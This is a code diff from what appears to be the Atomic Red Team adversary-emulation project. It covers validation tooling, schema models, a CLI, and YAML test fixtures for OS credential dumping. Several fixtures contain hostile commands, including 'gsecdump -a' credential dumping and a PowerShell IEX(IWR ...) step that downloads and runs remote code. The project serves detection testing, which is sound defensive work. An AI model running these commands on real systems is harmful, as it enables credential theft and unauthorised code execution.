valid_executor_types = ['command_prompt', 'sh', 'bash', 'powershell', 'manual', 'aws', 'az', 'gcloud', 'kubectl']
case executor['name']
when 'manual'
raise("`atomic_tests[#{i}].executor.steps` element is required") unless executor.has_key?('steps')
@@ -152,7 +175,7 @@ class AtomicRedTeam
string: executor['steps'],
string_description: "atomic_tests[#{i}].executor.steps"
when 'command_prompt', 'sh', 'bash', 'powershell'
when 'command_prompt', 'sh', 'bash', 'powershell', 'aws', 'az', 'gcloud', 'kubectl'
raise("`atomic_tests[#{i}].executor.command` element is required") unless executor.has_key?('command')
raise("`atomic_tests[#{i}].executor.command` element must be a string") unless executor['command'].is_a?(String)
-36
View File
@@ -1,36 +0,0 @@
---
attack_technique: TODO
display_name: TODO
atomic_tests:
- name: TODO
description: |
TODO
supported_platforms:
- windows
- macos
- linux
input_arguments:
output_file:
description: TODO
type: todo
default: TODO
dependency_executor_name: powershell # (optional) The executor for the prereq commands, defaults to the same executor used by the attack commands
dependencies: # (optional)
- description: |
TODO
prereq_command: | # commands to check if prerequisites for running this test are met. For the "command_prompt" executor, if any command returns a non-zero exit code, the pre-requisites are not met. For the "powershell" executor, all commands are run as a script block and the script block must return 0 for success.
TODO
get_prereq_command: | # commands to meet this prerequisite or a message describing how to meet this prereq
TODO
executor:
name: command_prompt
elevation_required: true # indicates whether command must be run with admin privileges. If the elevation_required attribute is not defined, the value is assumed to be false
command: | # these are the actaul attack commands, at least one command must be provided
TODO
cleanup_command: | # you can remove the cleanup_command section if there are no cleanup commands
TODO
+8 -4
View File
@@ -75,9 +75,11 @@ class Attack
techniques_by_tactic = Hash.new {|h, k| h[k] = []}
techniques.each do |technique|
next unless !technique['x_mitre_platforms'].nil?
next unless technique['x_mitre_platforms'].any? {|platform| platform.downcase =~ only_platform}
next unless technique['x_mitre_platforms'].any? { |platform| platform.downcase.sub(" ", "-") =~ only_platform }
next unless technique.fetch('revoked', false) == false
next unless technique.fetch('x_mitre_deprecated', false) == false
technique.fetch('kill_chain_phases', []).select {|phase| phase['kill_chain_name'] == 'mitre-attack'}.each do |tactic|
technique.fetch('kill_chain_phases', []).select { |phase| phase['kill_chain_name'] == 'mitre-attack' }.each do |tactic|
techniques_by_tactic[tactic.fetch('phase_name')] << technique
end
end
@@ -88,8 +90,10 @@ class Attack
# Returns a list of all ATT&CK techniques
#
def techniques
return @techniques unless @techniques.nil?
# pull out the attack pattern objects
attack_stix.fetch("objects").select do |item|
@techniques = attack_stix.fetch("objects").select do |item|
item.fetch('type') == 'attack-pattern' && item.fetch('external_references', []).select do |references|
references['source_name'] == 'mitre-attack'
end
@@ -105,7 +109,7 @@ class Attack
@attack_stix ||= begin
# load the full attack library
local_attack_json_to_try = "#{File.dirname(__FILE__)}/enterprise-attack.json"
if File.exists? local_attack_json_to_try
if File.exist? local_attack_json_to_try
JSON.parse File.read(local_attack_json_to_try)
else
JSON.parse open('https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json').read
+5
View File
@@ -0,0 +1,5 @@
from os.path import dirname, realpath
base_path = dirname(dirname(realpath(__file__)))
atomics_path = f"{base_path}/atomics"
used_guids_file = f"{atomics_path}/used_guids.txt"
File diff suppressed because it is too large Load Diff
+45
View File
@@ -0,0 +1,45 @@
import re
import uuid
from typing import List
from ruamel.yaml import YAML
from atomic_red_team.common import used_guids_file
yaml = YAML(typ="safe")
def get_unique_guid(guids: List[str]):
# This function should return a unique GUID that's not in the used_guids_file.
guid = str(uuid.uuid4())
if guid not in guids:
with open(used_guids_file, "a") as f: # append mode
f.write(f"{guid}\n")
return guid
else:
return get_unique_guid(guids)
def generate_guids_for_yaml(path, get_guid):
with open(path, "r") as file:
og_text = file.read()
# Add the "auto_generated_guid:" element after the "- name:" element if it isn't already there
text = re.sub(
r"(?i)(^([ \t]*-[ \t]*)name:.*$(?!\s*auto_generated_guid))",
lambda m: f"{m.group(1)}\n{m.group(2).replace('-', ' ')}auto_generated_guid:",
og_text,
flags=re.MULTILINE,
)
# Fill the "auto_generated_guid:" element in if it doesn't contain a guid
text = re.sub(
r"(?i)^([ \t]*auto_generated_guid:)(?!([ \t]*[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12})).*$",
lambda m: f"{m.group(1)} {get_guid()}",
text,
flags=re.MULTILINE,
)
if text != og_text:
with open(path, "wb") as file:
# using wb mode instead of w. If not, the end of line characters are auto-converted to OS specific ones.
file.write(text.encode())
+163
View File
@@ -0,0 +1,163 @@
import fnmatch
import json
import os
import re
from dataclasses import dataclass
import requests
import yaml
from yaml.loader import SafeLoader
def get_technique_from_filename(filename):
"""Returns technique(Txxx.xxx) from the filename specified"""
return re.findall(r"T[.\d]{4,8}", filename)[0]
@dataclass
class ChangedAtomic:
"""Returns atomic technique with test number which can be later used to run atomics in CI/CD pipelines."""
technique: str
test_number: int
data: dict
class SafeLineLoader(SafeLoader):
def construct_mapping(self, node, deep=False):
"""Add line number to each block of the atomic test."""
mapping = super(SafeLineLoader, self).construct_mapping(node, deep=deep)
# Add 1 so line numbering starts at 1
mapping["__line__"] = node.start_mark.line + 1
return mapping
class GithubAPI:
labels = {
"windows": "windows",
"macos": "macOS",
"linux": "linux",
"azure-ad": "ADFS",
"containers": "containers",
"iaas:gcp": "cloud",
"iaas:aws": "cloud",
"iaas:azure": "cloud",
"office-365": "cloud",
"google-workspace": "cloud",
}
maintainers = {
"windows": ["clr2of8", "MHaggis", "cyberbuff"],
"linux": ["josehelps", "cyberbuff"],
"macos": ["josehelps", "cyberbuff"],
"containers": ["patel-bhavin"],
"iaas:gcp": ["patel-bhavin"],
"iaas:aws": ["patel-bhavin"],
"iaas:azure": ["patel-bhavin"],
"azure-ad": ["patel-bhavin"],
"google-workspace": ["patel-bhavin"],
"office-365": ["patel-bhavin"],
}
def __init__(self, token):
self.token = token
@property
def headers(self):
return {
"Authorization": f"Bearer {self.token}",
"X-GitHub-Api-Version": "2022-11-28",
"Accept": "application/vnd.github+json",
}
def get_atomic_with_lines(self, file_url: str):
"""Get Atomic Technique along with line number for each of the atomics."""
r = requests.get(file_url, headers=self.headers)
assert r.status_code == 200
return yaml.load(r.text, Loader=SafeLineLoader)
def get_files_for_pr(self, pr):
"""Get new and modified files in the `atomics` directory changed in a PR."""
response = requests.get(
f"https://api.github.com/repos/{os.getenv('GITHUB_REPOSITORY')}/pulls/{pr}/files",
headers=self.headers,
timeout=15,
)
assert response.status_code == 200
files = response.json()
return filter(
lambda x: x["status"] in ["added", "modified"]
and fnmatch.fnmatch(x["filename"], "atomics/T*/T*.yaml"),
files,
)
def get_tests_changed(self, pr: str):
"""Get all the tests changed in a PR"""
tests = []
start = 0
files = self.get_files_for_pr(pr)
for file in files:
data = self.get_atomic_with_lines(file["raw_url"])
technique = get_technique_from_filename(file["filename"])
if file["status"] == "added":
# New file; run the entire technique; Invoke-AtomicTest Txxxx
tests += [
ChangedAtomic(technique=technique, test_number=index + 1, data=t)
for index, t in enumerate(data["atomic_tests"])
]
else:
changed_lines = []
count = 0
for line in file["patch"].split("\n"):
if line.startswith("@@"):
x, y = re.findall(r"\d{1,3},\d{1,3}", line)
start = int(x.split(",")[0])
count = -1
elif line.startswith("+"): # only take count of added lines
changed_lines.append(start + count)
elif line.startswith("-"):
count -= 1
count += 1
atomics = data["atomic_tests"]
for index, t in enumerate(atomics):
curr_atomic_start = atomics[index]["__line__"]
if index + 1 < len(atomics):
curr_atomic_end = atomics[index + 1]["__line__"]
else:
curr_atomic_end = start + 60
changes_in_current_atomic = [
i
for i in changed_lines
if i > curr_atomic_start and i < curr_atomic_end
]
if len(changes_in_current_atomic) > 0:
tests.append(
ChangedAtomic(
technique=technique, test_number=index + 1, data=t
)
)
return tests
def save_labels_and_maintainers(self, pr):
"""Saves labels and maintainers into `pr/labels.json` which would be later used by a workflow run."""
tests = self.get_tests_changed(pr)
platforms = set()
for t in tests:
platforms.update(t.data["supported_platforms"])
labels = []
maintainers = []
for p in platforms:
if p in self.labels:
labels.append(self.labels[p])
if p in self.maintainers:
maintainers += self.maintainers[p]
os.mkdir("pr")
with open("pr/changedfiles.json", "w") as f:
x = [{"name": t.technique, "test_number": t.test_number} for t in tests]
f.write(json.dumps(x))
with open("pr/labels.json", "w") as f:
j = {"pr": pr, "labels": labels, "maintainers": maintainers}
f.write(json.dumps(j))
+267
View File
@@ -0,0 +1,267 @@
import re
from functools import reduce
from typing import Dict, List, Literal, Optional, Union
from uuid import UUID
from pydantic import (
AnyUrl,
BaseModel,
ConfigDict,
Field,
IPvAnyAddress,
StrictFloat,
StringConstraints,
conlist,
constr,
field_serializer,
field_validator,
model_validator,
)
from pydantic_core import PydanticCustomError
from pydantic_core.core_schema import ValidationInfo
from typing_extensions import Annotated, TypedDict
InputArgType = Literal["url", "string", "float", "integer", "path"]
Platform = Literal[
"windows",
"macos",
"linux",
"office-365",
"azure-ad",
"google-workspace",
"saas",
"iaas",
"containers",
"iaas:gcp",
"iaas:azure",
"iaas:aws",
"esxi",
]
ExecutorType = Literal["manual", "powershell", "sh", "bash", "command_prompt"]
DomainName = Annotated[
str,
StringConstraints(
pattern=r"^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z0-9][a-z0-9-]{0,61}[a-z0-9]$"
),
]
AttackTechniqueID = Annotated[
str, StringConstraints(pattern=r"T\d{4}(?:\.\d{3})?", min_length=5)
]
def extract_mustached_keys(commands: List[Optional[str]]) -> List[str]:
result = []
for command in commands:
if command:
matches = re.finditer(r"#{(.*?)}", command, re.MULTILINE)
keys = [list(i.groups()) for i in matches]
keys = list(reduce(lambda x, y: x + y, keys, []))
result.extend(keys)
return list(set(result))
def get_supported_platform(platform: Platform):
platforms = {
"macos": "macOS",
"office-365": "Office 365",
"windows": "Windows",
"linux": "Linux",
"azure-ad": "Azure AD",
"iaas": "IaaS",
"saas": "SaaS",
"iaas:aws": "AWS",
"iaas:azure": "Azure",
"iaas:gcp": "GCP",
"google-workspace": "Google Workspace",
"containers": "Containers",
"esxi": "ESXi",
}
return platforms[platform]
def get_language(executor: ExecutorType):
if executor == "command_prompt":
return "cmd"
elif executor == "manual":
return ""
return executor
class BaseArgument(TypedDict):
description: str
class UrlArg(BaseArgument):
default: Optional[DomainName | AnyUrl | IPvAnyAddress]
type: Literal["url", "Url"]
@field_serializer("default")
def serialize_url(self, value):
return str(value)
class StringArg(BaseArgument):
default: Optional[str]
type: Literal["string", "path", "String", "Path"]
class IntArg(BaseArgument):
default: Optional[int]
type: Literal["integer", "Integer"]
class FloatArg(BaseArgument):
default: Optional[StrictFloat]
type: Literal["float", "Float"]
Argument = Annotated[
Union[FloatArg, IntArg, UrlArg, StringArg], Field(discriminator="type")
]
class StrictModel(BaseModel):
model_config = ConfigDict(
validate_default=True, extra="forbid", validate_assignment=True
)
class Executor(StrictModel):
name: ExecutorType
elevation_required: bool = False
class ManualExecutor(Executor):
name: Literal["manual"]
steps: str = Field(..., min_length=10)
class CommandExecutor(Executor):
name: Literal["powershell", "sh", "bash", "command_prompt"]
command: constr(min_length=1)
cleanup_command: Optional[str] = None
class Dependency(StrictModel):
description: constr(min_length=1)
prereq_command: constr(min_length=1)
get_prereq_command: Optional[str]
class Atomic(StrictModel):
test_number: Optional[str] = None
name: constr(min_length=1)
description: constr(min_length=1)
supported_platforms: conlist(Platform, min_length=1)
executor: Union[ManualExecutor, CommandExecutor] = Field(..., discriminator="name")
dependencies: Optional[List[Dependency]] = []
input_arguments: Dict[constr(min_length=2, pattern=r"^[\w_-]+$"), Argument] = {}
dependency_executor_name: Optional[ExecutorType] = None
auto_generated_guid: Optional[UUID] = None
@classmethod
def extract_mustached_keys(cls, value: dict) -> List[str]:
commands = []
executor = value.get("executor")
if isinstance(executor, CommandExecutor):
commands = [executor.command, executor.cleanup_command]
if isinstance(executor, ManualExecutor):
commands = [executor.steps]
for d in value.get("dependencies") or []:
commands.extend([d.get_prereq_command, d.prereq_command])
return extract_mustached_keys(commands)
@field_validator("dependency_executor_name", mode="before") # noqa
@classmethod
def validate_dep_executor(cls, v, info: ValidationInfo):
if v is not None and info.data.get("dependencies") == []:
raise PydanticCustomError(
"invalid_dependency_executor_name",
"'dependency_executor_name' is not needed if there are no dependencies. Remove the key from YAML",
{"loc": ["dependency_executor_name"], "input": None},
)
return v
@model_validator(mode="after")
def validate_elevation_required(self):
if (
("linux" in self.supported_platforms or "macos" in self.supported_platforms)
and not self.executor.elevation_required
and isinstance(self.executor, CommandExecutor)
):
commands = [self.executor.command]
if self.executor.cleanup_command:
commands.append(self.executor.cleanup_command)
if any(["sudo" in cmd for cmd in commands]):
raise PydanticCustomError(
"elevation_required_but_not_provided",
"'elevation_required' shouldn't be empty/false. Since `sudo` is used, set `elevation_required` to true`",
{
"loc": ["executor", "elevation_required"],
"input": self.executor.elevation_required,
},
)
return self
@field_validator("input_arguments", mode="before") # noqa
@classmethod
def validate(cls, v, info: ValidationInfo):
if v is None:
raise PydanticCustomError(
"empty_input_arguments",
"'input_arguments' shouldn't be empty. Provide a valid value or remove the key from YAML",
{"loc": ["input_arguments"], "input": None},
)
atomic = info.data
keys = cls.extract_mustached_keys(atomic)
for key, _value in v.items():
if key not in keys:
raise PydanticCustomError(
"unused_input_argument",
f"'{key}' is not used in any of the commands",
{"loc": ["input_arguments", key], "input": key},
)
else:
keys.remove(key)
if len(keys) > 0:
for x in keys:
raise PydanticCustomError(
"missing_input_argument",
f"{x} is not defined in input_arguments",
{"loc": ["input_arguments"]},
)
return v
class Technique(StrictModel):
attack_technique: AttackTechniqueID
display_name: str = Field(..., min_length=5)
atomic_tests: List[Atomic] = Field(min_length=1)
@model_validator(mode="before")
@classmethod
def validate_dependency_executor_names(cls, data):
"""Check if dependency_executor_name keys are present with empty/None values in atomic tests"""
if isinstance(data, dict) and "atomic_tests" in data:
atomic_tests = data.get("atomic_tests", [])
for i, test in enumerate(atomic_tests):
if isinstance(test, dict) and "dependency_executor_name" in test:
value = test.get("dependency_executor_name")
# If the key exists but value is None or empty string, that's an error
if value is None or value == "":
raise PydanticCustomError(
"empty_dependency_executor_name",
"'dependency_executor_name' shouldn't be empty. Provide a valid value ['manual','powershell', 'sh', "
"'bash', 'command_prompt'] or remove the key from YAML",
{"loc": ["atomic_tests", i, "dependency_executor_name"], "input": value},
)
return data
def model_post_init(self, __context) -> None:
for index in range(len(self.atomic_tests)):
test_number = f"{self.attack_technique}-{index + 1}"
self.atomic_tests[index].test_number = test_number
+111
View File
@@ -0,0 +1,111 @@
import glob
import json
import os
import sys
import urllib.parse
from collections import defaultdict
from functools import partial
from typing import Annotated
import typer
from pydantic import ValidationError
from atomic_red_team.common import used_guids_file, atomics_path
from atomic_red_team.guid import (
generate_guids_for_yaml,
get_unique_guid,
)
from atomic_red_team.labels import GithubAPI
from atomic_red_team.models import Technique
from atomic_red_team.validator import Validator, format_validation_error, yaml
app = typer.Typer(help="Atomic Red Team Maintenance tool CLI helper")
@app.command()
def generate_guids():
"""Generates missing GUIDs for the atomic files"""
with open(used_guids_file, "r") as file:
used_guids = file.readlines()
for file in glob.glob(f"{atomics_path}/T*/T*.yaml"):
generate_guids_for_yaml(file, partial(get_unique_guid, guids=used_guids))
@app.command()
def generate_schemas():
"""Generates JSON and YAML schemas for techniques"""
schema = Technique.model_json_schema() # (1)!
with open("schema.yaml", "w") as f:
yaml.default_flow_style = False
yaml.dump(schema, f)
with open("schema.json", "w") as f:
f.write(json.dumps(schema, indent=2))
@app.command()
def generate_counter():
"""Generate atomic tests count svg"""
test_count = 0
for file in glob.glob(f"{atomics_path}/T*/T*.yaml"):
with open(file, "r") as f:
yaml_data = yaml.load(f)
if yaml_data is not None and "atomic_tests" in yaml_data:
test_count += len(yaml_data["atomic_tests"])
# Generate the shields.io badge URL
params = {"label": "Atomics", "message": str(test_count), "style": "flat"}
url = "https://img.shields.io/badge/{}-{}-{}.svg".format(
urllib.parse.quote_plus(params["label"]),
urllib.parse.quote_plus(params["message"]),
urllib.parse.quote_plus(params["style"]),
)
# Save shields URL in GitHub Output to be used in the next step.
with open(os.environ["GITHUB_OUTPUT"], "a") as fh:
print(f"result={url}", file=fh)
@app.command()
def generate_labels(
pull_request: Annotated[str, typer.Option("--pr")],
token: Annotated[str, typer.Option("--token")],
):
"""Generate labels for a pull request."""
api = GithubAPI(token)
api.save_labels_and_maintainers(pull_request)
@app.command()
def validate():
"""
Validate all the atomic techniques in a directory.
"""
validator = Validator()
errors = defaultdict(list)
for folder in glob.glob(f"{atomics_path}/T*"):
for item in os.scandir(folder):
try:
validator.validate(item)
except ValidationError as error:
errors[item.path].append(error)
if len(errors) == 0:
print("Validation successful")
else:
print("Validation failed")
for i, errors in errors.items():
print(f"Error occurred with {i.replace(f'{atomics_path}/', '')}.")
print("Each of the following are why it failed:")
for error in errors:
if isinstance(error, ValidationError):
for k, v in format_validation_error(error).items():
print(f"\n\tInvalid {'.'.join(map(str, v))}: {k}\n")
else:
print(f"\n\t{error}\n")
sys.exit(1)
if __name__ == "__main__":
app()
-195
View File
@@ -1,195 +0,0 @@
#
# This spec describes the format of Atomic Red Team atomic tests that are defined in YAML format.
#
# The directory structure is:
# - These tests reside in the `atomics` directory
# - One directory per ATT&CK technique, named "T1234"
# - All the atomic tests for a technique in a file called "T1234.yaml" inside that directory
# - Any payloads, supporting materials, etc for the atomic tests also live in that directory
#
# For example:
#
# atomic_red_team/
# atomic_red_team/atomics
# atomic_red_team/atomics/T1234
# atomic_red_team/atomics/T1234/T1234.yaml <-- this is where all the atomic tests live
# atomic_red_team/atomics/T1234/src/payload1.sct <-- a payload file needed by one of the T1234 atomics (human readable)
# atomic_red_team/atomics/T1234/bin/payload2.dll <-- another payload file needed by one of the T1234 atomics (binary)
#
# In general, a set of atomic tests for a technique should never depend on payloads
# or supporting files from other atomic directories. We want to keep things nice and close.
# Use git symlinks if you really need to share files between techniques.
#
# Atomic tests should be fully automated whenever possible, requiring no continued interaction.
# Include any needed options to execute the commands seamlessly, for example SysInternal's -accepteula option or any -q or -quiet modes.
#
# To validate your atomics, run `bin/validate_atomics.rb`
---
attack_technique: TXXXX # (with a capital T, Example: 'T1123')
display_name: Name of the technique as defined by ATT&CK. # Example: 'Audio Capture'
# `atomic_tests` is an array of distinct test cases inside this technique. A test case should
# include ALL of the information needed to run that test (ie, this is the "atomic" - you don't
# distribute steps across different atomics)
# Each of these tests is a YAML array element (starts with a `-`).
atomic_tests:
#
# This is the first atomic test
#
- name: Short name of the test that titles how it tests the technique. # Example: "SourceRecorder via cmd.exe"
auto_generated_guid: # This key and/or it's value will be added by the CI build after submitting a Pull Request
description: |
Long form description of the test. Markdown is supported so you can **bold** items, create
- one list
- two list
- red list
- [blue list](https://google.com)
# supported platforms is an array of the OS/platforms this atomic test can be run upon. Values include:
# - windows
# - macos
# - linux
supported_platforms:
- windows
# inputs to the atomic test that are required to run the test (think of these like function arguments).
# This is a hash where the key is the input name, value is a hash defining the input argument.
input_arguments:
# this is the first input argument, called "output_file"
output_file:
# Short description of the input argument
description: xxxxx
# data type of the input. Possible values could include:
# - Path (a file path)
# - Url (a URL)
# - String
# - Integer
# - Float
# - really anything else you'd like, but add it to this list
type: Path
# default value for this argument that will be used if one is not specifid
default: test.wma
# this is a example of a second argument
malware_payload_url:
description: xxxxx
type: Url
default: 0000:00:30
dependency_executor_name: powershell # (optional) The executor for the prereq commands, defaults to the same executor used by the attack commands
dependencies: # (optional)
# a list of dependies that must be met to successfully run this atomic
- description: |
TODO
prereq_command: | # commands to check if prerequisites for running this test are met. For the "command_prompt" executor, if any command returns a non-zero exit code, the pre-requisites are not met. For the "powershell" executor, all commands are run as a script block and the script block must return 0 for success.
TODO
get_prereq_command: | # commands to meet this prerequisite or a message describing how to meet this prereq
TODO
#example of two dependencies
dependencies:
- description: |
Sysmon executable must be available
prereq_command: |
where sysmon > nul
get_prereq_command: |
echo Automated installer not implemented yet, please install Sysmon manually
- description: |
Sysmon must be installed
prereq_command: |
sc query sysmon > nul
get_prereq_command: |
sysmon -i -accepteula
# a list of executors that can execute the attack commands of this atomic test. There are almost always going to be one of these
# per test, but there are cases where you may have multiple - for example, separate executors for `sh`
# and `bash` when working on linux OSes.
executors:
# the name of the executor describes the framework or application in which the test should be executed.
#
# Each of these executors will have options that the executor needs to run. Possible executors we've imagined
# at this time and their required options include:
#
# - `command_prompt` : The Windows Command Prompt, aka cmd.exe
# Requires the "command" option that is a multi-line script that will be preprocessed and
# then executed by cmd.exe
#
# Example:
# - name: command_prompt
# command: |
# echo "attack starting"
# echo "running command 1: this is the value of the FOOBAR input_argument: #{FOOBAR}"
#
# - `powershell` : Powershell
# Requires the "`command`" option that is a multi-line script that will be preprocessed and
# then executed by cmd.exe
#
# Example:
# - name: powershell
# command: |
# Write-Debug "attack starting"
# Write-Debug "running command 1: this is the value of the FOOBAR input_argument: #{FOOBAR}"
#
# - `sh` : Linux's bourne shell
# Requires the "`command`" option that is a multi-line script that will be preprocessed and
# then executed by cmd.exe
#
# Example:
# - name: sh
# command: |
# echo "attack starting"
# echo "running command 1: this is the value of the FOOBAR input_argument: #{FOOBAR}"
#
# - `bash` : Linux's bourne again shell
# Requires the "`command`" option that is a multi-line script that will be preprocessed and
# then executed by cmd.exe
#
# Example:
# - name: bash
# command: |
# echo "attack starting"
# echo "running command 1: this is the value of the FOOBAR input_argument: #{FOOBAR}"
#
# - `manual` : a list of manual steps to run. This should only be used when required, for example when GUI steps are involved that
# cannot be automated.
#
# Requires the `steps` option that tells the user what to do to invoke the test. This is a
# multi-line list of instructions (also preprocessed)
#
# Example:
# - name: manual
# steps: |
# 1. Navigate to [chrome://extensions](chrome://extensions) and
# tick 'Developer Mode'.
#
# 2. Click 'Load unpacked extension...' and navigate to
# [Browser_Extension](../T1176/)
#
# 3. Click the '#{FOOBAR}' button - you can interpolate here too!
#
- name: command_prompt
elevation_required: true
# indicates whether command must be run with admin privileges.
#If the elevation_required attribute is not defined, the value is assumed to be false
command: |
SoundRecorder /FILE #{output_file} /DURATION #{duration_hms}
cleanup_command: | # you can remove the cleanup_command section if there are no cleanup commands
#
# This is the second atomic test
#
- name: Echo to the screen
description: |
blah blah blah
supported_platforms:
- macos
- linux
# in this example we have no input arguments
input_arguments:
executors:
- name: bash
command: echo "Hello world!"
@@ -0,0 +1,13 @@
attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:
- name: Root login
auto_generated_guid:
description: |
Login as root.
supported_platforms:
- linux
executor:
command: |
sudo -i
name: bash
@@ -0,0 +1,20 @@
attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
auto_generated_guid:
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
input_arguments:
gsecdump_exe:
description: Path to the Gsecdump executable
type: path
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
executor:
command: |
"#{gsecdump_exe}" -a
name: command_prompt
elevation_required: true
dependency_executor_name:
@@ -0,0 +1,15 @@
attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
auto_generated_guid:
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
input_arguments:
executor:
command: |
"#{gsecdump_exe}" -a
name: command_prompt
elevation_required: true
@@ -0,0 +1,14 @@
attack_technique: W1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
random_field: abc123
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
executor:
command: |
echo "ART"
name: command_prompt
+18
View File
@@ -0,0 +1,18 @@
attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
input_arguments:
gsecdump_exe:
description: Path to the Gsecdump executable
type: float
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
executor:
command: |
"#{gsecdump_exe}" -a
name: command_prompt
@@ -0,0 +1,18 @@
attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
input_arguments:
gsecdump_exe:
description: Path to the Gsecdump executable
type: integer
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
executor:
command: |
"#{gsecdump_exe}" -a
name: command_prompt
@@ -0,0 +1,20 @@
attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
auto_generated_guid:
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
input_arguments:
gsecdump_exe:
description: Path to the Gsecdump executable
type: path
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
executor:
command: |
"#{gsecdump_exe}" -a
name: command_prompt
elevation_required: true
dependency_executor_name: "bash"
@@ -0,0 +1,39 @@
attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
input_arguments:
gsecdump_exe:
description: Path to the Gsecdump executable
type: path
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
gsecdump_bin_hash:
description: File hash of the Gsecdump binary file
type: string
default: 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC
gsecdump_url:
description: Path to download Gsecdump binary file
type: url
default: https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe
dependency_executor_name: powershell
dependencies:
- description: |
Gsecdump must exist on disk at specified location (#{gsecdump_exe})
prereq_command: |
if (Test-Path "#{gsecdump_exe}") {exit 0} else {exit 1}
get_prereq_command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe"
IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing)
if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){
Move-Item $binpath "#{gsecdump_exe}"
}
executor:
command: |
"#{gsecdump_exe}" -a
name: command_prompt
elevation_required: true
@@ -0,0 +1,13 @@
attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
executor:
command: |
"#{gsecdump_exe}" -a
name: command_prompt
@@ -0,0 +1,34 @@
attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
input_arguments:
gsecdump_exe:
description: Path to the Gsecdump executable
type: path
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
executor:
command: |
"#{gsecdump_exe}" -a
name: command_prompt
elevation_required: true
- name: Gsecdump
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
input_arguments:
gsecdump_exe:
description: Path to the Gsecdump executable
type: path
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
executor:
command: |
"#{gsecdump_exe}" -a
name: command_prompt
@@ -0,0 +1,13 @@
attack_technique: W1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
executor:
command: |
echo "ART"
name: command_prompt
@@ -0,0 +1,18 @@
attack_technique: T1003
display_name: OS
atomic_tests:
- name: Gsecdump
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
input_arguments:
gsecdump_exe:
description: Path to the Gsecdump executable
type: path
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
executor:
command: |
"#{gsecdump_exe}" -a
name: command_prompt
@@ -0,0 +1,27 @@
attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
input_arguments:
gsecdump_exe:
description: Path to the Gsecdump executable
type: path
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
gsecdump_bin_hash:
description: File hash of the Gsecdump binary file
type: string
default: 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC
gsecdump_url:
description: Path to download Gsecdump binary file
type: url
default: https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe
dependency_executor_name: powershell
executor:
command: |
"#{gsecdump_exe}" -a
name: command_prompt
@@ -0,0 +1,18 @@
attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:
- name: Gsecdump
auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed
description: |
Dump credentials from memory using Gsecdump.
supported_platforms:
- windows
input_arguments:
gsecdump_exe:
description: Path to the Gsecdump executable
type: url
default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
executor:
command: |
"#{gsecdump_exe}" -a
name: command_prompt
View File
+125
View File
@@ -0,0 +1,125 @@
